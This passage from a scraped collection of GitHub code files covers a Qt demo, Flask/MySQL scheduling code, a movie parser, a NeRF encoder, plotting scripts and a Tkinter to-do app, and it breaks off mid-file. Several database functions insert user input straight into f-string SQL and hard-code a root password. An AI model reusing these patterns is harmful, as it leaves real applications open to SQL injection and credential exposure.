s2)\n\t\ts2.addTransition(self.b1.clicked, s3)\n\t\ts3.addTransition(self.b1.clicked, s1)\n\n\t\tmachine.addState(s1)\n\t\tmachine.addState(s2)\n\t\tmachine.addState(s3)\n\t\tmachine.setInitialState(s1)\n\n\t\tmachine.start()\n\t\tself.show()\n\n\napp = QApplication(argv)\na = App()\napp.exec_()\n","repo_name":"sarathm09/Hobby_Projects","sub_path":"GUI/PySide/States.py","file_name":"States.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"20709283089","text":"import pymysql\nfrom flask import Flask, render_template\nfrom flask import request\nimport pymysql\nfrom pkg import User\n\n# 1. 비정기 스케쥴 등록하기\n# 서버에서 받아오기\n\n\ndef get_info_reg():\n days = [\"mon\", \"tue\", \"wed\", \"thu\", \"fri\", \"sat\", \"sun\"]\n decimal = 0\n i = 64\n for day in days:\n if day in request.form.keys():\n decimal += i\n i = int(i / 2)\n else:\n i = int(i / 2)\n continue\n\n sc_day = decimal\n sc_email = str(User.session['id']) # 사용자 이메일\n # sc_day = request.form['event_day']\n sc_title = request.form[\"event_title\"] # 일정 제목\n sc_content = request.form[\"event_content\"] # 일정 내용\n sc_time = request.form[\"event_time\"]\n # request.form key 명칭...\n return (sc_email, sc_day, sc_title, sc_content, sc_time)\n\n\n# DB 추가\ndef make_reg():\n email = get_info_reg()[0]\n day = int(get_info_reg()[1])\n title = get_info_reg()[2]\n content = get_info_reg()[3]\n time = str(get_info_reg()[4])\n\n conn = pymysql.connect(\n host=\"localhost\",\n user=\"root\",\n password=\"root1234\",\n db=\"daoudaou\",\n charset=\"utf8\",\n )\n cur = conn.cursor()\n\n sql_reg = f'insert into routine(email,day,title,content,time) values(\"{email}\",\"{day}\",\"{title}\",\"{content}\",\"{time}\")'\n cur.execute(sql_reg)\n conn.commit()\n conn.close()\n\n\n# 2. 일정 조회\ndef reg_view():\n conn = pymysql.connect(\n host=\"localhost\",\n user=\"root\",\n password=\"root1234\",\n db=\"daoudaou\",\n charset=\"utf8\",\n )\n cur = conn.cursor()\n\n sql_view2 = f\"select * from routine where email = '{User.session['id']}' order by day desc\" # 정렬 기능.. ??? 일단 앞 요일일수록 숫자 크니까 역순으로 정렬...\n cur.execute(sql_view2)\n\n schedule_list_reg = []\n reg_dict_list = []\n\n for record in cur:\n schedule_list_reg.append(list(record))\n for scd in schedule_list_reg:\n scd[5] = str(scd[5])\n for scd in schedule_list_reg:\n dict = {}\n dict[\"routine_key\"] = scd[0]\n dict[\"routine_title\"] = scd[3]\n dict[\"routine_day\"] = scd[2]\n dict[\"routine_time\"] = scd[5]\n dict[\"routine_content\"] = scd[4]\n reg_dict_list.append(dict)\n\n conn.commit()\n conn.close()\n return reg_dict_list\n\n\n# 3. 일정 삭제\ndef erase_routine(key, sort_of):\n conn = pymysql.connect(\n host=\"localhost\",\n user=\"root\",\n password=\"root1234\",\n db=\"daoudaou\",\n charset=\"utf8\",\n )\n cur = conn.cursor()\n # sql_erase1 = f'delete from routine where event_key = \"{key}\"'\n sql_erase1 = f'delete from {sort_of} where {sort_of}_key = \"{key}\"'\n cur.execute(sql_erase1)\n\n conn.commit()\n conn.close()\n","repo_name":"syunwi2/daoudaou","sub_path":"pkg/make_reg.py","file_name":"make_reg.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"8983834024","text":"import json\nimport pickle\nimport time\nfrom entity_index import ChannelIndex, Channels\n\nMOVIES_PICKLE_FILE = 'movies.model'\n\n'''\n {director : [movieID]}\n {actor : [movieID]}\n {genre : [movieID]}\n {movieID: movieObject{\"rating\": str, \n \"movie_id\": \"60141\", \n \"name\": str, \n \"director\": str, \n \"actors\": [], \n \"genre\": str\n }}\n'''\nclass MoviesParser:\n\n def __init__(self, indexProvider):\n self.dictDirector = {} # {director : [movieID]}\n self.dictActor = {} # {actor : [movieID]}\n self.dictGenre = {} # {genre : [movieID]}\n self.movies = {} # movieID: movieObject\n self._indexProvider = indexProvider\n\n def returnMovieID(self, movieObject):\n ret = self._indexProvider.getEntityIndex(Channels.MOVIE, movieObject['movie_id'])\n return ret\n\n #method that checks if ID of dict contains directors: if not, create one dict with dir as ID and movieID as value \n def updateDictOfDirectors(self, movieObject):\n director = movieObject['director']\n if director:\n director = self._indexProvider.getEntityIndex(Channels.DIRECTOR, director)\n if director not in self.dictDirector:\n self.dictDirector[director] = set()\n self.dictDirector[director].add(self.returnMovieID(movieObject))\n \n #method that checks if ID of dict contains actors: if not, create one dict with actor as ID and set of movieIDs as value \n def updateDictOfActors(self, movieObject):\n listOfActors = movieObject['actors']\n for actor in listOfActors:\n if actor:\n actor = self._indexProvider.getEntityIndex(Channels.ACTOR, actor)\n if actor not in self.dictActor:\n self.dictActor[actor] = set()\n self.dictActor[actor].add(self.returnMovieID(movieObject))\n \n #method that checks if ID of dict contains genres: if not, create one dict with genre as ID and set of movieIDs as value \n def updateDictOfGeneres(self, movieObject):\n genre = movieObject['genre']\n if genre:\n genre = self._indexProvider.getEntityIndex(Channels.GENRE, genre)\n if genre not in self.dictGenre:\n self.dictGenre[genre] = set() \n self.dictGenre[genre].add(self.returnMovieID(movieObject))\n\n def parseMoviesObjects(self, filename, parse = True):\n start_time = time.time()\n if parse:\n json_data = open(filename, 'r').read() \n jsonData = json.loads(json_data) \n \n for movieObject in jsonData: \n if self.returnMovieID(movieObject):\n self.movies[self.returnMovieID(movieObject)] = movieObject\n self.updateDictOfDirectors(movieObject)\n self.updateDictOfActors(movieObject)\n self.updateDictOfGeneres(movieObject)\n # print(movieObject['name'])\n print(\"Parsed movies.json in %f seconds\" % (time.time() - start_time))\n s = pickle.dumps(self)\n with open(MOVIES_PICKLE_FILE, 'w') as f:\n f.write(s)\n else:\n with open(MOVIES_PICKLE_FILE, 'r') as f:\n s = f.read()\n mov = pickle.loads(s)\n self.dictActor = mov.dictActor\n self.dictDirector = mov.dictDirector\n self.dictGenre = mov.dictDirector\n print(\"Loaded pickled movies model in %f seconds\" % (time.time() - start_time))\n return self\n\n#main function to parse a json file of movies:\ndef main(moviesJson): \n channelIndex = ChannelIndex(Channels.CHANNELS)\n mov = MoviesParser(channelIndex)\n mov.parseMoviesObjects(moviesJson, parse = True)\n print(len(mov.dictActor))\n print(len(mov.dictDirector))\n print(len(mov.dictGenre))\n\nif __name__ == \"__main__\":\n moviesJson = 'json/movies.json'\n main(moviesJson)\n","repo_name":"ankittripathi92/movie_recommender","sub_path":"moviesParser.py","file_name":"moviesParser.py","file_ext":"py","file_size_in_byte":4184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14723704831","text":"# pixel-nerf file encoder.py\n\n\"\"\"\nImplements image encoders\n\"\"\"\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\nimport torchvision\nimport torch.autograd.profiler as profiler\nimport functools\n\n\ndef get_norm_layer(norm_type=\"instance\", group_norm_groups=32):\n \"\"\"Return a normalization layer\n Parameters:\n norm_type (str) -- the name of the normalization layer: batch | instance | none\n For BatchNorm, we use learnable affine parameters and track running statistics (mean/stddev).\n For InstanceNorm, we do not use learnable affine parameters. We do not track running statistics.\n \"\"\"\n if norm_type == \"batch\":\n norm_layer = functools.partial(\n nn.BatchNorm2d, affine=True, track_running_stats=True\n )\n elif norm_type == \"instance\":\n norm_layer = functools.partial(\n nn.InstanceNorm2d, affine=False, track_running_stats=False\n )\n elif norm_type == \"group\":\n norm_layer = functools.partial(nn.GroupNorm, group_norm_groups)\n elif norm_type == \"none\":\n norm_layer = None\n else:\n raise NotImplementedError(\"normalization layer [%s] is not found\" % norm_type)\n return norm_layer\n\n\nclass SpatialEncoder(nn.Module):\n \"\"\"\n 2D (Spatial/Pixel-aligned/local) image encoder\n \"\"\"\n\n def __init__(\n self,\n backbone=\"resnet34\",\n pretrained=True,\n num_layers=4,\n index_interp=\"bilinear\",\n index_padding=\"border\",\n upsample_interp=\"bilinear\",\n feature_scale=1.0,\n use_first_pool=True,\n norm_type=\"batch\",\n ):\n \"\"\"\n :param backbone Backbone network. Either custom, in which case\n model.custom_encoder.ConvEncoder is used OR resnet18/resnet34, in which case the relevant\n model from torchvision is used\n :param num_layers number of resnet layers to use, 1-5\n :param pretrained Whether to use model weights pretrained on ImageNet\n :param index_interp Interpolation to use for indexing\n :param index_padding Padding mode to use for indexing, border | zeros | reflection\n :param upsample_interp Interpolation to use for upscaling latent code\n :param feature_scale factor to scale all latent by. Useful (<1) if image\n is extremely large, to fit in memory.\n :param use_first_pool if false, skips first maxpool layer to avoid downscaling image\n features too much (ResNet only)\n :param norm_type norm type to applied; pretrained model must use batch\n \"\"\"\n super().__init__()\n\n if norm_type != \"batch\":\n assert not pretrained\n\n self.use_custom_resnet = backbone == \"custom\"\n self.feature_scale = feature_scale\n self.use_first_pool = use_first_pool\n # norm_layer = util.get_norm_layer(norm_type)\n norm_layer = get_norm_layer(norm_type)\n\n # Commented out as we are not using custom encoder\n # if self.use_custom_resnet:\n # print(\"WARNING: Custom encoder is experimental only\")\n # print(\"Using simple convolutional encoder\")\n # self.model = ConvEncoder(3, norm_layer=norm_layer)\n # self.latent_size = self.model.dims[-1]\n # else:\n print(\"Using torchvision\", backbone, \"encoder\")\n self.model = getattr(torchvision.models, backbone)(\n pretrained=pretrained, norm_layer=norm_layer\n )\n # Following 2 lines need to be uncommented for older configs\n self.model.fc = nn.Sequential()\n self.model.avgpool = nn.Sequential()\n self.latent_size = [0, 64, 128, 256, 512, 1024][num_layers]\n\n self.num_layers = num_layers\n self.index_interp = index_interp\n self.index_padding = index_padding\n self.upsample_interp = upsample_interp\n self.register_buffer(\"latent\", torch.empty(1, 1, 1, 1), persistent=False)\n self.register_buffer(\n \"latent_scaling\", torch.empty(2, dtype=torch.float32), persistent=False\n )\n # self.latent (B, L, H, W)\n\n def index(self, uv, cam_z=None, image_size=(), z_bounds=None):\n \"\"\"\n Get pixel-aligned image features at 2D image coordinates\n :param uv (B, N, 2) image points (x,y)\n :param cam_z ignored (for compatibility)\n :param image_size image size, either (width, height) or single int.\n if not specified, assumes coords are in [-1, 1]\n :param z_bounds ignored (for compatibility)\n :return (B, L, N) L is latent size\n \"\"\"\n with profiler.record_function(\"encoder_index\"):\n if uv.shape[0] == 1 and self.latent.shape[0] > 1:\n uv = uv.expand(self.latent.shape[0], -1, -1)\n\n # print(uv[0, :, :].max(dim=-2))\n\n with profiler.record_function(\"encoder_index_pre\"):\n if len(image_size) > 0:\n if len(image_size) == 1:\n image_size = (image_size, image_size)\n scale = self.latent_scaling / image_size\n uv = uv * scale - 1.0\n\n # print(uv[0, :, :].max(dim=-2))\n\n uv = uv.unsqueeze(2) # (B, N, 1, 2)\n\n # print(\"indexing on\", self.latent.shape, image_size, self.latent_scaling, scale)\n\n # import numpy as np\n # import matplotlib.pyplot as plt\n # from mpl_toolkits.mplot3d import Axes3D\n # plt.clf()\n # plt.scatter(uv.cpu().detach().numpy()[0, :, 0, 0], uv.cpu().detach().numpy()[0, :, 0, 1])\n # plt.xlabel('X')\n # plt.ylabel('Y')\n # plt.savefig(\"points/projected.png\")\n # exit(0)\n\n samples = F.grid_sample(\n self.latent,\n uv,\n align_corners=True,\n mode=self.index_interp,\n padding_mode=self.index_padding,\n )\n return samples[:, :, :, 0] # (B, C, N)\n\n def forward(self, x):\n \"\"\"\n For extracting ResNet's features.\n :param x image (B, C, H, W)\n :return latent (B, latent_size, H, W)\n \"\"\"\n if self.feature_scale != 1.0:\n x = F.interpolate(\n x,\n scale_factor=self.feature_scale,\n mode=\"bilinear\" if self.feature_scale > 1.0 else \"area\",\n align_corners=True if self.feature_scale > 1.0 else None,\n recompute_scale_factor=True,\n )\n x = x.to(device=self.latent.device)\n\n if self.use_custom_resnet:\n self.latent = self.model(x)\n else:\n x = self.model.conv1(x)\n x = self.model.bn1(x)\n x = self.model.relu(x)\n\n latents = [x]\n if self.num_layers > 1:\n if self.use_first_pool:\n x = self.model.maxpool(x)\n x = self.model.layer1(x)\n latents.append(x)\n if self.num_layers > 2:\n x = self.model.layer2(x)\n latents.append(x)\n if self.num_layers > 3:\n x = self.model.layer3(x)\n latents.append(x)\n if self.num_layers > 4:\n x = self.model.layer4(x)\n latents.append(x)\n\n self.latents = latents\n align_corners = None if self.index_interp == \"nearest \" else True\n latent_sz = latents[0].shape[-2:]\n for i in range(len(latents)):\n latents[i] = F.interpolate(\n latents[i],\n latent_sz,\n mode=self.upsample_interp,\n align_corners=align_corners,\n )\n self.latent = torch.cat(latents, dim=1)\n self.latent_scaling[0] = self.latent.shape[-1]\n self.latent_scaling[1] = self.latent.shape[-2]\n # TODO: Why -1???\n # self.latent_scaling = self.latent_scaling / (self.latent_scaling - 1) * 2.0\n self.latent_scaling = self.latent_scaling / (self.latent_scaling) * 2.0\n return self.latent\n\n @classmethod\n def from_conf(cls, conf):\n return cls(\n conf.get(\"backbone\"),\n pretrained=conf.get(\"pretrained\", True),\n num_layers=conf.get(\"num_layers\", 4),\n index_interp=conf.get(\"index_interp\", \"bilinear\"),\n index_padding=conf.get(\"index_padding\", \"border\"),\n upsample_interp=conf.get(\"upsample_interp\", \"bilinear\"),\n feature_scale=conf.get(\"feature_scale\", 1.0),\n use_first_pool=conf.get(\"use_first_pool\", True),\n )","repo_name":"LeonZamel/Pi-xel-GANeRF","sub_path":"spacial_encoder.py","file_name":"spacial_encoder.py","file_ext":"py","file_size_in_byte":8584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9616505883","text":"from rankor import app\nfrom rankor.events.drivers import ScreenCommand\n\n\nclass Event(object):\n def __init__(self, **kwargs):\n self.data = kwargs\n\n def send(self):\n with app as context:\n command = ScreenCommand(context.dbsession)\n command.send_event(self.name, **self.data)\n\n\nclass ChangeViewEvent(Event):\n name = 'change_view'\n\n _views = ('welcome', 'highscore', 'question', 'questions')\n\n def __init__(self, screen_id, view):\n assert view in self._views\n super().__init__(screen_id=screen_id, view=view)\n\n\nclass ShowQuestionEvent(Event):\n name = 'show_question'\n\n def __init__(self, screen_id, question_id, team_id, answer_id):\n super().__init__(\n screen_id=screen_id,\n view='question',\n question_id=question_id,\n team_id=team_id,\n answer_id=answer_id\n )\n\n\nclass AttachTeamEvent(Event):\n name = 'attach_team'\n\n def __init__(self, screen_id, team_id):\n super().__init__(\n screen_id=screen_id,\n view='question',\n team_id=team_id,\n )\n\n\nclass SelectAnswerEvent(Event):\n name = 'select_answer'\n\n def __init__(self, screen_id, answer_id):\n super().__init__(\n screen_id=screen_id,\n view='question',\n answer_id=answer_id,\n )\n\n\nclass VeryfiAnswerEvent(Event):\n name = 'veryfi_answer'\n\n def __init__(self, screen_id, question_id, team_id, answer_id, game_answer_id):\n super().__init__(\n screen_id=screen_id,\n view='question',\n question_id=question_id,\n answer_id=answer_id,\n team_id=team_id,\n game_answer_id=game_answer_id,\n )\n","repo_name":"socek/rankor","sub_path":"backend/code/rankor/events/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"15149222479","text":"\"\"\"\r\n@author: J.W.Spaak\r\nCreate Fiugre 1 and A1\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.cm import viridis\r\nimport matplotlib.patches as patches\r\nimport numpy as np\r\n\r\nfrom numerical_NFD import NFD_model\r\n\r\nplt.rcParams[\"font.family\"] = 'Times New Roman'\r\nnp.seterr(all = \"ignore\")\r\n\r\nrep = 500\r\n\r\nA11 = 1\r\nA22 = 1\r\nA21 = 0.7*np.ones(rep)\r\n\r\nlamb1 = 1.5\r\nlamb2 = 3\r\n\r\nA12 = np.linspace(-A22/(lamb2-1)+1e-3,2.5, rep)\r\nsign = -1\r\ninterspec = sign*A12*A21/A11/A22 # interspecific interaction strength\r\n\r\nND = {}\r\nFD = {}\r\nND_bound = {}\r\nFD_bound = {}\r\n\r\n# Definition according to Adler et al. 2007\r\nkey = \"Adler et al. (2007)\"\r\nND[key] = np.log(lamb2/(1+A12/A22*(lamb2-1)))\r\nFD[key] = np.log(lamb1/lamb2*np.ones(A12.shape))\r\n\r\n# Definition according to Godoy et al.\r\nkey = \"Godoy & Levine (2014)\"\r\nND[key] = 1-np.sqrt(A12*A21/(A22*A11))\r\nFD[key] = (lamb1-1)/(lamb2-1)*np.sqrt(A21*A22/(A11*A12))\r\n\r\n# Definitions by experimental methods\r\n# zero growth rate\r\nf_i_0 = np.log([lamb1,lamb2])\r\n\r\n# invasion growth rate\r\nr_i = np.array([np.log(lamb1/(1+A12/A22*(lamb2-1))),\r\n np.log(lamb2/(1+A21/A11*(lamb1-1)))])\r\n\r\n# Definition according to Carroll et al.\r\nS_i = (f_i_0.reshape(-1,1)-r_i)/f_i_0.reshape(-1,1)\r\nkey = \"Carroll et al. (2011)\"\r\nND[key] = 1-np.exp(np.mean(np.log(S_i),axis = 0))\r\nFD[key] = np.exp(np.std(np.log(S_i),axis = 0))\r\n\r\n# Definition according to Zhao et al.\r\nkey = \"Zhao et al. (2016)\"\r\nND[key] = 1+np.sum(r_i, axis = 0)\r\nFD[key] = (np.log((lamb1-1)/A11)-np.log((lamb2-1)/A22))*np.ones(A12.shape)\r\n \r\n# Definition according to Chesson\r\nkey = \"Chesson (2003)\"\r\nphi_i = np.array([A11/lamb1,A22/lamb2])\r\nND[key] = 0.5*np.sum(r_i/phi_i.reshape(-1,1),axis = 0)\r\nFD[key] = (r_i/phi_i.reshape(-1,1)-ND[key])[0]\r\n\r\n# Definition according to Bimler\r\nkey = \"Bimler et al. (2018)\"\r\n\r\n# change to alpha' according to Bimler et al\r\nA11_ = A11/(lamb1-1)\r\nA12_ = A12/(lamb1-1)\r\nA21_ = A21/(lamb2-1)\r\nA22_ = A22/(lamb2-1)\r\n\r\nND[key] = 1 - np.exp((A12_-A11_)+(A21_-A22_))\r\nFD[key] = np.exp(-(A12_+A11_)+(A21_+A22_))\r\n\r\n# Definition according to Saavedra\r\nkey = \"Saavedra et al. (2017)\"\r\n\r\nND[key] = 2/np.pi*np.arcsin((A11*A22-A12*A21)/\r\n (np.sqrt((A11**2+A21**2)*(A12**2+A22**2))))\r\nr = np.array([[lamb1-1], [lamb2-1]])\r\nrc = 0.5*(1/np.sqrt(A11**2+A21**2)*np.array([A11*np.ones(rep),A21])+\r\n 1/np.sqrt(A12**2+A11**2)*np.array([A12,A22*np.ones(rep)]))\r\nFD[key] = 180/np.pi*np.arccos(np.sum(r*rc,axis = 0)/np.linalg.norm(r)\r\n /np.linalg.norm(rc,axis = 0))\r\n\r\n# Definition according to Karmel\r\nkey = \"Carmel et al. (2017)\"\r\n# mortality rate, assumed to be minimal invasion growth rate of all\r\nmort = -2*np.nanmin(r_i)\r\ngeo_mean = np.sqrt(np.prod(r_i/mort+1, axis = 0))\r\nNO_1 = -(1-2*geo_mean**2) + np.sqrt((1-2*geo_mean**2)**2-1)\r\nNO_2 = -(1-2*geo_mean**2) - np.sqrt((1-2*geo_mean**2)**2-1)\r\n\r\n\r\nND[key] = 1 - np.nanmin([NO_1,NO_2], axis = 0)\r\n# add minimal value before nans:\r\nND[key][np.argmax(np.isnan(ND[key]))] = 0\r\nFD[key] = np.exp(np.std(np.log(r_i/mort+1),axis = 0))**2\r\ns = r_i/mort +1\r\ntest1 = np.amin([s[0]/s[1], s[1]/s[0]], axis = 0)\r\n\r\n# Definition accoding to Spaak\r\nlamb = np.array([lamb1, lamb2])\r\n\r\ndef ap_model(N, A):\r\n # annual plant model\r\n return np.log(lamb/(1+A.dot(N)))\r\n\r\nND_spaak, FD_spaak = np.empty((2,rep))\r\npars = {\"N_star\": np.ones((2,2))*(lamb-1)}\r\nA_all = np.ones((rep, 2,2))\r\nA_all[:,0,1] = A12\r\nA_all[:,1,0] = A21\r\nfor l in range(rep):\r\n pars = NFD_model(ap_model, pars = pars, args = (A_all[l],))\r\n ND_spaak[l] = pars[\"ND\"][0]\r\n FD_spaak[l] = pars[\"FD\"][0]\r\n\r\nkey = \"Spaak & De Laender\" \r\nND[key] = ND_spaak\r\nFD[key] = FD_spaak\r\n\r\nkeys = [\"Chesson (2003)\",\"Carroll et al. (2011)\", \"Zhao et al. (2016)\",\r\n \"Godoy & Levine (2014)\", \"Saavedra et al. (2017)\",\"Adler et al. (2007)\", \r\n \"Carmel et al. (2017)\",\"Bimler et al. (2018)\", \"Spaak & De Laender\"]\r\n\r\ncolors = {keys[i]: viridis(1-np.linspace(0, 1, len(keys)))[i]\r\n for i in range(len(keys))}\r\n\r\n\r\nif __name__ == \"__main__\":\r\n ###########################################################################\r\n # plotting the results for ND\r\n fig = plt.figure(figsize = (10,10))\r\n \r\n ND_range = [-0.5,1.5]\r\n \r\n rect_facilitation = patches.Rectangle([interspec[0],1],\r\n -interspec[0], ND_range[1]-1, fill = False, linestyle = \":\")\r\n rect_norm = patches.Rectangle([0,0],sign,1, fill = False)\r\n rect_comp = patches.Rectangle([sign*1,0],interspec[-1], ND_range[0]\r\n , fill = False, linestyle = \"--\")\r\n ax = plt.gca()\r\n ax.add_patch(rect_norm)\r\n ax.add_patch(rect_facilitation)\r\n ax.add_patch(rect_comp)\r\n \r\n # plot NFD parameters \r\n for key in keys:\r\n plt.plot(interspec, ND[key], label = key, linewidth = 2, alpha = 1, \r\n color = colors[key])\r\n \r\n # add black dots\r\n plt.plot(0,1, 'o', color = \"black\", markersize = 10)\r\n plt.plot(sign*1,0, '^', color = \"black\", markersize = 10)\r\n \r\n \r\n # layout\r\n plt.legend(loc = \"upper left\", fontsize = 12)\r\n \r\n # axis limits\r\n plt.xlim(min(interspec), max(interspec))\r\n plt.xticks([0,sign*1])\r\n plt.ylim(*ND_range)\r\n plt.yticks([0,1])\r\n \r\n # labeling of interaction\r\n fs = 16\r\n offset_y = 0.15\r\n plt.text(interspec[0]/2,ND_range[0]+offset_y,\"positive\", \r\n ha = \"center\", fontsize = fs, backgroundcolor = \"white\")\r\n plt.text(sign*1/2,ND_range[0]+offset_y,\r\n \"negative,\\nweaker than\\nintraspecific\", \r\n ha = \"center\",va = \"center\", fontsize = fs)\r\n plt.text((sign*1+interspec[-1])/2-0.09,ND_range[0]+offset_y,\r\n \"negative,\\nstronger than\\nintraspecific\",\r\n ha = \"center\",va = \"center\", fontsize = fs)\r\n \r\n \r\n \r\n # axis labels\r\n plt.xlabel(r'Interspecific interaction ($\\alpha$)', fontsize = 16)\r\n plt.ylabel(r'Niche difference $(\\mathcal{N})$', fontsize = 16)\r\n \r\n fig.savefig(\"Figure1.pdf\")\r\n \r\n ###########################################################################\r\n # plotting the results for ND\r\n fig = plt.figure(figsize = (9,9))\r\n \r\n ND_range = [-0.5,1.5]\r\n \r\n # plot NFD parameters \r\n for key in keys:\r\n plt.plot(interspec, FD[key], label = key, linewidth = 2, alpha = 1, \r\n color = colors[key])\r\n \r\n # layout\r\n plt.legend(loc = \"upper left\", fontsize = 12)\r\n \r\n # axis limits\r\n plt.xlim(min(interspec), max(interspec))\r\n plt.xticks([0,sign*1])\r\n plt.ylim(-3,3)\r\n \r\n \r\n plt.axhline(y=0, color = \"black\", linestyle = \":\")\r\n plt.axvline(x=0, color = \"black\", linestyle = \":\")\r\n \r\n # axis labels\r\n plt.xlabel(r'Interspecific interaction ($\\alpha$)', fontsize = 16)\r\n plt.ylabel(r'Fitness difference $(\\mathcal{F})$', fontsize = 16)\r\n \r\n fig.savefig(\"FigureA1.pdf\")","repo_name":"juergspaak/NFD_definitions","sub_path":"plot_Figure1.py","file_name":"plot_Figure1.py","file_ext":"py","file_size_in_byte":6941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22231726337","text":"import pythonflask\r\nimport sys\r\ndef createEc2Instance():\r\n amiid = 'ami-4fffc834'\r\n ec2 = pythonflask.resource('ec2')\r\n instance = ec2.create_instances(\r\n ImageId=amiid,\r\n InstanceType='t2.micro',\r\n MaxCount = 1,\r\n MinCount = 1)\r\nif __name__ == '__main__':\r\n createEc2Instance()","repo_name":"munna9/python-code","sub_path":"sa.py","file_name":"sa.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30213426921","text":"# Penanggung jawab: Aindrea Rayhan 18219034\nimport sys\nfrom tkinter import *\nfrom PIL import Image, ImageTk\nimport os\nfrom tkinter import ttk\nimport mysql.connector as mysql\nimport mariadb\n\n# Modul Tampilkan Kondisi todolist\ndef Todolist(screen):\n global root\n screen.destroy()\n root = Tk()\n root.title(\"Tampilkan To-do List\")\n root.geometry('1270x690+0+0')\n root.config(bg='white')\n\n def balikhome():\n from homescreen import homescreen\n homescreen(root)\n \n # Tampilan biru di atas\n Biru = Image.open(\"img\\lightblue.png\")\n Biru.load()\n Biru = Biru.resize((500,300), Image.ANTIALIAS)\n BiruPI = ImageTk.PhotoImage(Biru)\n Background_biru = Label(root, image=BiruPI, bg='deepskyblue').place(x=0,y=0,width=1500,height=150)\n\n # Tampilan atas MONITROS)\n FotoMonitros = Image.open(\"img\\logo_monitros.png\")\n FotoMonitros.load()\n FotoMonitros = FotoMonitros.resize((500,300), Image.ANTIALIAS)\n FotoMonitrosPI = ImageTk.PhotoImage(FotoMonitros)\n logoMonitros = Label(root, image=FotoMonitrosPI,bg='deepskyblue').place(x=0,y=0,width=450,height=150)\n\n # Tulisan \"DAFTAR TODOLIST\"\n DaftarlabelTitle = Label(root, text='TO-DO LIST', font=('helvetica',40,'bold'),bg='white',fg='Black', width=100, anchor='w').place(x=50,y=180)\n\n # Tampilan button Homie \n Homie = Image.open('img\\home.png')\n Homie.load()\n Homie = Homie.resize((100,100), Image.ANTIALIAS)\n HomiePI = ImageTk.PhotoImage(Homie)\n HomiePicture = Button(root, image=HomiePI,bg='lightgreen', command=balikhome).place(x=1090,y=20,width=100,height=100)\n\n # Fungsi untuk buka window Edit Todolist\n def BukaEditTodolist():\n EditTodolist(root)\n\n # Tombol Edit Todolist\n EditBut = Image.open('img\\EditTodolist.png')\n EditBut.load()\n EditBut = EditBut.resize((220,70),Image.ANTIALIAS)\n EditButPI = ImageTk.PhotoImage(EditBut)\n EditButton = Button(root, image=EditButPI,command=BukaEditTodolist).place(x=960,y=170,width=220,height=65)\n \n # Frame untuk tabel\n\n table_frame = Frame(root)\n table_frame.place(x=150, y=250, width=1000, height=430)\n\n # Scrollbar di kanan\n scrollbar = ttk.Scrollbar(table_frame, orient=VERTICAL)\n scrollbar.pack( side = RIGHT, fill = Y )\n\n # setup treeview untuk tabel isi daftar todolist\n columns = (1,2,3,4,5,6)\n tree = ttk.Treeview(table_frame, columns=columns, show='headings', yscrollcommand=scrollbar.set)\n tree.column(1,width=30)\n tree.pack(fill=BOTH,expand=1)\n tree.heading(1, text='ID')\n tree.heading(2, text='Username')\n tree.heading(3, text='Role')\n tree.heading(4, text='Nama Pekerjaan')\n tree.heading(5, text='Deskripsi')\n tree.heading(6, text='Status')\n\n tree.column(1, width=30)\n tree.column(2, width=50)\n tree.column(3 ,width=50)\n tree.column(4, width=100)\n tree.column(5, width=200)\n tree.column(6, width=50)\n\n # Style Treeview\n style = ttk.Style()\n style.configure(\"Treeview\", font=('helvetica', 11), background=\"lightgrey\",foreground=\"black\",fieldbackground='dodgerblue3',rowheight=40)\n style.map(\"Treeview\",background=[('selected','azure4')])\n\n # Connect ke Mariadb server untuk mengambil data pekerjaan\n try:\n conn = mariadb.connect(\n user=\"root\",\n password=\"\",\n host=\"localhost\",\n port=3306,\n database=\"monitros\"\n )\n except mariadb.Error as e:\n print(f\"Error connecting to MariaDB Platform: {e}\")\n sys.exit(1)\n\n # Get Cursor\n cur = conn.cursor()\n cur.execute('SELECT IDPekerjaan, Username, Role, Nama_Pekerjaan, Deskripsi, Status FROM todolist')\n \n # Isi Treeview dengan data dari database\n i=1\n for (IDPekerjaan, Username, Role, Nama_Pekerjaan, Deskripsi, Status) in cur:\n tree.insert(parent='',index=i,text='',values=(IDPekerjaan, Username, Role, Nama_Pekerjaan, Deskripsi, Status))\n i=i+1\n \n # Pasang supaya scrollbar terhubung ke treeview\n scrollbar.config(command=tree.yview)\n\n # Paling akhir untuk infinite loop\n root.mainloop()\n\n# Modul Edit Todolist\ndef EditTodolist(screen):\n global root2\n screen.destroy()\n root2 = Tk()\n root2.title(\"Edit To-do List\")\n root2.geometry('1270x690+0+0')\n root2.config(bg='white')\n\n def balikhome2():\n from homescreen import homescreen\n homescreen(root2)\n\n # Tampilan biru di atas\n Biru = Image.open(\"img\\lightblue.png\")\n Biru.load()\n Biru = Biru.resize((500,300), Image.ANTIALIAS)\n BiruPI = ImageTk.PhotoImage(Biru)\n Background_biru = Label(root2, image=BiruPI, bg='deepskyblue').place(x=0,y=0,width=1500,height=150)\n # Tampilan atas MONITROS)\n FotoMonitros = Image.open(\"img\\logo_monitros.png\")\n FotoMonitros.load()\n FotoMonitros = FotoMonitros.resize((500,300), Image.ANTIALIAS)\n FotoMonitrosPI = ImageTk.PhotoImage(FotoMonitros)\n logoMonitros = Label(root2, image=FotoMonitrosPI,bg='deepskyblue').place(x=0,y=0,width=450,height=150) \n\n # Tulisan \"EDIT TODOLIST\"\n DaftarlabelTitle = Label(root2, text='EDIT TO-DO LIST', font=('helvetica',40),bg='white',fg='Black', width=100, anchor='w').place(x=50,y=180)\n\n # Tampilan button Homie \n Homie = Image.open('img\\home.png')\n Homie.load()\n Homie = Homie.resize((100,100), 